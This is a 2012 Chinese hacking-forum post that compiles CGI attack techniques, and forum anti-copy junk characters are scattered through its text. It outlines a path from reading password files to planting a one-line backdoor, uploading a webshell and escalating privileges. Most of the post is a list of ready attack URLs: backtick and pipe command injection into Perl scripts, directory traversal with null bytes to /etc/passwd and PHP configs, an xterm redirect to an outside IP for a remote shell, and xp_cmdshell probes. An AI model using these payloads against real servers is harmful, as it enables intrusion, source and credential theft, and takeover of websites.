找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2718|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
. a& s8 K# c) bcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
! n% P) V5 N$ P& j& g感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
4 r; f, n/ i; W- Q注“  $ _6 Z! ]& E4 S: k( }  K
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
) S# f9 j6 F* i以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
% s1 c: q4 n- E5 [9 ~# w8 J/ G8 K& Q9 s
" H- I# m  E: Yhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
6 \; d3 i# l7 {& e3 \http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  7 P6 g" A4 b" A5 b
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
' t2 J2 _% p) z- [! Ohttp://target.com/cgi-bin/home/news/sub.pl?`id`  9 F" l5 r% n4 [/ b! e
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
( s6 T) v$ c  `http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  $ f* m; U4 {" m' j) B
3 z* H* W/ n2 U  T! t4 m
http://target.com/test.pl;ls|  
. g4 b$ n: o8 z6 T6 V3 \7 q: T) lhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  . R* V8 u% {& e3 h4 j
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
- F+ C" Y# \3 e$ Dhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
( y  T* M2 x  u# a: t: Y5 u比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
. `' n, h- P/ A5 p2 o% ?. Hhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ) P% L5 D3 ?! e- J
- U; I3 L# O$ G6 P/ P5 {+ \; ~
http://target.com/test.pl?&........ /../../etc/passwd  - E6 d! A$ `. }# h, h8 S3 r8 C
9 ]' s# h: x6 D: r7 D) D8 M2 |. {
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  4 J6 @6 A" n1 g( f! s: G7 V
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
3 M3 z; ?' M$ F8 u4 p# l# Vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
7 f$ I* }& D1 R
" K; L) q, R2 \http://www.target.org/show.php?f ... /include/config.php 查看php代码  
# o& {% E$ B# C/ F, W. Q3 {http://www.target.org/show.php?f ... ng/admin/global.php  
1 S* y6 u! ]. a; O' K" ~" \; E. x/ }) [. E: H- {, G0 d
emm和ps的一句话% [: y% J/ d; @
6 W# o0 j; f, \. P4 ~  m6 A
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  & z; E% k% k, p  y$ |1 \# m

+ u) o. I& M' H  F0 W8 s6 {>bbb%20|  - L" g7 M! |+ n  h3 D

7 u8 Y) Z: r1 }, G6 j' s; l1 W3 lhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
/ l: V# y) d+ w1 m6 C( O
2 k5 @5 B5 {# ?+ B! Z- ehttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  / m; j; x, ]5 Z& _
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
$ _/ L( G; n! i. Y6 E- e, o  `8 c# R0 h: e
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  8 t1 X; c; j, V
http://target.com/index.html#cmd.exe  
! B" S6 p" I+ d4 ghttp://target.com/index.html?dummyparam=xp_cmdshell  
6 ]" r& V+ t, p* P. K! k/ }% ?lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  9 K: g' U: h# r1 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表